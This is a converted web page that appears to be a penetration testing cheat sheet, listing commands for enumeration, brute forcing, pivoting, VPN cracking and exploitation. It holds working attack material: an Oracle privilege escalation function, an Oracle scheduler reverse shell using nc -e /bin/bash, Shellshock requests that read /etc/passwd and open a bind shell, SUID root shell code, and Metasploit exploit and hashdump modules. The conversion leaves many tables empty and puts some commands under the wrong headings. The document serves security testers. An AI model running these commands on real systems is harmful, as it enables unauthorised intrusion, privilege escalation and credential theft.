Penetration Testing Tools Cheat Sheet
Penetration Testing Tools Cheat Sheet
Introduction
Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements.
Designed as a quick reference cheat sheet providing a high level overview of the typical commands you would run when
performing a penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen
testing cheat sheet from the menu on the right.
The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not
covered here apart from a few sqlmap commands at the end and some web server enumeration.
Changelog
17/02/2017 - Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.
converted by Web2PDFConvert.com
DNS Bruteforce
DNSRecon
Port Scanning
Nmap Commands
Nmap UDP Scanning
UDP Protocol Scanner
Other Host Discovery
Enumeration & Attacking Network Services
SAMB / SMB / Windows Domain Enumeration
Samba Enumeration
SMB Enumeration Tools
Fingerprint SMB Version
Find open SMB Shares
Enumerate SMB Users
Manual Null session testing:
NBTScan unixwiz
LLMNR / NBT-NS Spoofing
Metasploit LLMNR / NetBIOS requests
Responder.py
SNMP Enumeration
SNMPv3 Enumeration
R Services Enumeration
RSH Enumeration
RSH Run Commands
Metasploit RSH Login Scanner
rusers Show Logged in Users
rusers scan whole Subnet
Finger Enumeration
Finger a Specific Username
Solaris bug that shows all logged in users:
rwho
TLS & SSL Testing
testssl.sh
Vulnerability Assessment
Database Penetration Testing
Oracle
Fingerprint Oracle TNS Version
Brute force oracle user accounts
Oracle Privilege Escalation
Identify default accounts within oracle db using NMAP NSE scripts:
How to identify the current privilege level for an oracle user:
Oracle priv esc and obtain DBA access:
Run the exploit with a select query:
converted by Web2PDFConvert.com
Remove the exploit using:
Get Oracle Reverse os-shell:
MSSQL
Bruteforce MSSQL Login
Metasploit MSSQL Shell
Network
Plink.exe Tunnel
Pivoting
SSH Pivoting
Meterpreter Pivoting
TTL Finger Printing
IPv4 Cheat Sheets
Classful IP Ranges
IPv4 Private Address Ranges
IPv4 Subnet Cheat Sheet
VLAN Hopping
VPN Hacking
IKEForce
IKE Aggressive Mode PSK Cracking
Step 1: Idenitfy IKE Servers
Step 2: Enumerate group name with IKEForce
Step 3: Use ike-scan to capture the PSK hash
Step 4: Use psk-crack to crack the PSK hash
PPTP Hacking
NMAP PPTP Fingerprint:
PPTP Dictionary Attack
DNS Tunneling
Attacking Machine
BOF / Exploit
Exploit Research
Searching for Exploits
Compiling Windows Exploits on Kali
Cross Compiling Exploits
Exploiting Common Vulnerabilities
Exploiting Shellshock
cat file (view file contents)
Shell Shock run bind shell
Shell Shock reverse Shell
Simple Local Web Servers
Mounting File Shares
HTTP / HTTPS Webserver Enumeration
Packet Inspection
converted by Web2PDFConvert.com
Username Enumeration
SMB User Enumeration
SNMP User Enumeration
Passwords
Wordlists
Brute Forcing Services
Hydra FTP Brute Force
Hydra POP3 Brute Force
Hydra SMTP Brute Force
Password Cracking
John The Ripper - JTR
Windows Penetration Testing Commands
Linux Penetration Testing Commands
Compiling Exploits
Identifying if C code is for Windows or Linux
Build Exploit GCC
GCC Compile 32Bit Exploit on 64Bit Kali
Compile Windows .exe on Linux
SUID Binary
SUID C Shell for /bin/bash
SUID C Shell for /bin/sh
Building the SUID Shell binary
Reverse Shells
TTY Shells
Python TTY Shell Trick
Spawn Interactive sh shell
Spawn Perl TTY Shell
Spawn Ruby TTY Shell
Spawn Lua TTY Shell
Spawn TTY Shell from Vi
Spawn TTY Shell NMAP
Metasploit
Meterpreter Payloads
Windows reverse meterpreter payload
Windows VNC Meterpreter payload
Linux Reverse Meterpreter payload
Meterpreter Cheat Sheet
Common Metasploit Modules
Remote Windows Metasploit Modules (exploits)
Local Windows Metasploit Modules (exploits)
Auxilary Metasploit Modules
Metasploit Powershell Modules
converted by Web2PDFConvert.com
Post Exploit Windows Metasploit Modules
ASCII Table Cheat Sheet
CISCO IOS Commands
Cryptography
Hash Lengths
Hash Examples
SQLMap Examples
Subnetting
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
OSINT
Passive Information Gathering
DNS
WHOIS enumeration
whois domain-name-here.com
converted by Web2PDFConvert.com
COMMAND DESCRIPTION
nslookup -> set type=any -> ls -d blah.com Windows DNS zone transfer
Email
Simply Email
Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long
throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.
Simply Email can verify the discovered email addresss after gathering.
COMMAND DESCRIPTION
nc -v 192.168.1.1 25
Basic versioning / finger printing via displayed banner
telnet 192.168.1.1 25
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
Port Scanning
Nmap Commands
converted by Web2PDFConvert.com
For more commands, see the Nmap cheat sheet (link in the menu on the right).
COMMAND DESCRIPTION
Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service
nmap -v -sS -A -T4 target
version info, traceroute and scripts against services
nmap -v -sS -p--A -T4 target As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 --script=smb-check-vulns Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause
--script-args=unsafe=1 192.168.1.X knockover
./udp-protocol-scanner.pl -f ip.txt
COMMAND DESCRIPTION
Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming
netdiscover -r 192.168.1.0/24
you're on the right VLAN at $client site
converted by Web2PDFConvert.com
Samba Enumeration
SMB Enumeration Tools
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
COMMAND DESCRIPTION
Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and
nbtscan 192.168.1.0/24
discover client workgroup / domain
Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based
enum4linux -a target-ip
share name guessing
smbclient -L //192.168.1.100
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
RID Cycling:
use auxiliary/scanner/smb/smb_lookupsid
converted by Web2PDFConvert.com
net use \\TARGET\IPC$ "" /u:""
Linux:
smbclient -L //192.168.99.131
NBTScan unixwiz
Install on Kali rolling:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
You’ll end up with NTLMv2 hash, use john or hashcat to crack it.
Responder.py
Alternatively you can use responder.
SNMP Enumeration
Fix SNMP output values so they are human readable:
converted by Web2PDFConvert.com
apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
COMMAND DESCRIPTION
SNMPv3 Enumeration
Idenitfy SNMPv3 servers with nmap:
Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
R Services Enumeration
This is legacy, included for completeness.
nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual
confirmation:
RSH Enumeration
RSH Run Commands
auxiliary/scanner/rservices/rsh_login
converted by Web2PDFConvert.com
rusers Show Logged in Users
Finger Enumeration
finger @TARGET-IP
finger batman@TARGET-IP
finger 0@host
rwho
Use nmap to identify machines running rwhod (513 UDP)
Vulnerability Assessment
Install OpenVAS 8 on Kali Rolling:
converted by Web2PDFConvert.com
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
netstat -tulpn
Oracle
Install oscanner:
Run oscanner:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
converted by Web2PDFConvert.com
nmap -p 1521 -A TARGET
In the example below the user SCOTT is used but this should be possible with another default Oracle account.
Identify default accounts within oracle db using NMAP NSE scripts:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Login using the identified weak account (assuming you find one).
How to identify the current privilege level for an oracle user:
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
converted by Web2PDFConvert.com
You should have a DBA user with creds user1 and pass1.
Verify you have DBA privileges by re-running the first command again.
Remove the exploit using:
begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
MSSQL
Enumeration / Discovery:
Nmap:
Metasploit:
converted by Web2PDFConvert.com
Network
Plink.exe Tunnel
PuTTY Link tunnel
Forward remote port to local address:
Pivoting
SSH Pivoting
Windows 128
Linux 64
Solaris 255
converted by Web2PDFConvert.com
CLASS IP ADDRESS RANGE
CLASS RANGE
127.0.0.0 - 127.255.255.255
converted by Web2PDFConvert.com
CIDR DECIMAL MASK NUMBER OF HOSTS
VLAN Hopping
Using NCCGroups VLAN wrapper script for Yersina simplifies the process.
converted by Web2PDFConvert.com
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh
VPN Hacking
Identify VPN servers:
IKEForce
Use IKEForce to enumerate or dictionary attack VPN servers.
Install:
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
converted by Web2PDFConvert.com
./udp-protocol-scanner.pl -p ike SUBNET/24
psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP Hacking
Identifying PPTP, it listens on TCP: 1723
NMAP PPTP Fingerprint:
DNS Tunneling
Tunneling data over DNS to bypass firewalls.
dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.
Attacking Machine
Installtion:
converted by Web2PDFConvert.com
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc
nc -l -p 443
converted by Web2PDFConvert.com
COMMAND DESCRIPTION
python -m SimpleHTTPServer 80 Run a basic http server, great for serving up shells etc
python3 -m http.server Run a basic Python3 http server, great for serving up shells etc
COMMAND DESCRIPTION
mount -t cifs -o username=user,password=pass Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password
,domain=blah //192.168.1.X/share-name /mnt/cifs it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password
Mount a Windows share on Windows from the command line
/user:domain\janedoe /savecred /p:no
apt-get install smb4k -y Install smb4k on Kali, useful Linux GUI for browsing SMB shares
COMMAND DESCRIPTION
dirbuster Configure via GUI, CLI input doesn't work most of the time
Packet Inspection
COMMAND DESCRIPTION
tcpdump tcp port 80 -w output.pcap -i eth0 tcpdump for port 80 on interface eth0, outputs to output.pcap
Username Enumeration
Some techniques used to remotely enumerate users on a target system.
converted by Web2PDFConvert.com
COMMAND DESCRIPTION
python /usr/share/doc/python-impacket-doc/examples
Enumerate users from SMB
/samrdump.py 192.168.XXX.XXX
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID cycle SMB / enumerate users from SMB
COMMAND DESCRIPTION
python /usr/share/doc/python-impacket-doc/examples/
Enmerate users from SNMP
samrdump.py SNMP 192.168.X.XXX
Passwords
Wordlists
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
converted by Web2PDFConvert.com
COMMAND DESCRIPTION
Password Cracking
John The Ripper - JTR
COMMAND DESCRIPTION
john --format=descrypt hash --show JTR forced descrypt brute force cracking
Compiling Exploits
Some notes on compiling exploits.
COMMAND DESCRIPTION
COMMAND DESCRIPTION
converted by Web2PDFConvert.com
GCC Compile 32Bit Exploit on 64Bit Kali
Handy for cross compiling 32 bit binaries on 64 bit attacking machines.
COMMAND DESCRIPTION
gcc -m32 exploit.c -o exploit Cross compile 32 bit binary on 64 bit Linux
COMMAND DESCRIPTION
SUID Binary
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.
below are some quick copy and pate examples for various shells:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
For 32 bit:
Reverse Shells
See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.
TTY Shells
converted by Web2PDFConvert.com
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
exec "/bin/sh"
os.execute('/bin/sh')
:!bash
!sh
Metasploit
Some basic Metasploit stuff, that I have found handy for reference.
Basic Metasploit commands, useful for reference, for pivoting see - Meterpreter Pivoting techniques.
Meterpreter Payloads
Windows reverse meterpreter payload
COMMAND DESCRIPTION
converted by Web2PDFConvert.com
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
execute -f c:\\windows\temp\exploit.exe Meterpreter run .exe on target - handy for executing uploaded exploits
portfwd add –l 3389 –p 3389 –r target Meterpreter create port forward to target machine
converted by Web2PDFConvert.com
COMMAND DESCRIPTION
use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit
ms09_050_smb2_negotiate_func_index
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
converted by Web2PDFConvert.com
COMMAND DESCRIPTION
Idenitfy other machines that the supplied domain user has administrative
run post/windows/gather/local_admin_search_enum
access to
run post/windows/gather/smart_hashdump Automated dumping of sam file, tries to esc privileges etc
ASCII CHARACTER
x08 BS
x09 TAB
x0a LF
x0d CR
x1b ESC
x20 SPC
x21 !
x22 "
x23 #
x24 $
x25 %
x26 &
x27 `
x28 (
x29 )
x2a *
x2b +
x2c ,
x2d -
converted by Web2PDFConvert.com
x2d -
x2e .
x2f /
x30 0
x31 1
x32 2
x33 3
x34 4
x35 5
x36 6
x37 7
x38 8
x39 9
x3a :
x3b ;
x3c <
x3d =
x3e >
x3f ?
x40 @
x41 A
x42 B
x43 C
x44 D
x45 E
x46 F
x47 G
x48 H
x49 I
x4a J
x4b K
converted by Web2PDFConvert.com
x4c L
x4d M
x4e N
x4f O
x50 P
x51 Q
x52 R
x53 S
x54 T
x55 U
x56 V
x57 W
x58 X
x59 Y
x5a Z
x5b [
x5c \
x5d ]
x5e ^
x5f _
x60 `
x61 a
x62 b
x63 c
x64 d
x65 e
x66 f
x67 g
x68 h
x69 i
x6a j
converted by Web2PDFConvert.com
x6a j
x6b k
x6c l
x6d m
x6e n
x6f o
x70 p
x71 q
x72 r
x73 s
x74 t
x75 u
x76 v
x77 w
x78 x
x79 y
x7a z
converted by Web2PDFConvert.com
COMMAND DESCRIPTION
Cryptography
Hash Lengths
converted by Web2PDFConvert.com
HASH SIZE
Hash Examples
Likely just use hash-identifier for this but here are some example hashes:
HASH EXAMPLE
127e6fbfe24a750e72930c220a8e138275656b
SHA-256
8e5d8f48a98c3c92df2caba935
c73d08de890479518ed60cf670d17faa26a4a7
SHA-256 $PASS:$SALT
1f995c1dcc978165399401a6c4
eb368a2dfd38b405f014118c7d9747fcc97f4
SHA-256 $SALT:$PASS
f0ee75c05963cd9da6ee65ef498:560407001617
82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
SHA-512
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
SHA-512 $PASS:$SALT
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
SHA-512 $SALT:$PASS
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
converted by Web2PDFConvert.com
SQLMap Examples
COMMAND DESCRIPTION
sqlmap -u "http://meh.com/meh.php?id=1" Scan url for union + error based injection with mysql backend
--dbms=mysql --tech=U --random-agent --dump and use a random user agent + database dump
sqlmap -o -u "http://meh/vuln-form" --forms sqlmap dump and crack hashes for table users on database-
-D database-name -T users --dump name.
Follow Arr0way
Twitter GitHub
Also...
You might want to read these
converted by Web2PDFConvert.com
CATEGORY POST NAME
cheat-sheet LFI Cheat Sheet
kali linux HowTo: Kali Linux Chromium Install for Web App Pen Testing
Proudly hosted by
converted by Web2PDFConvert.com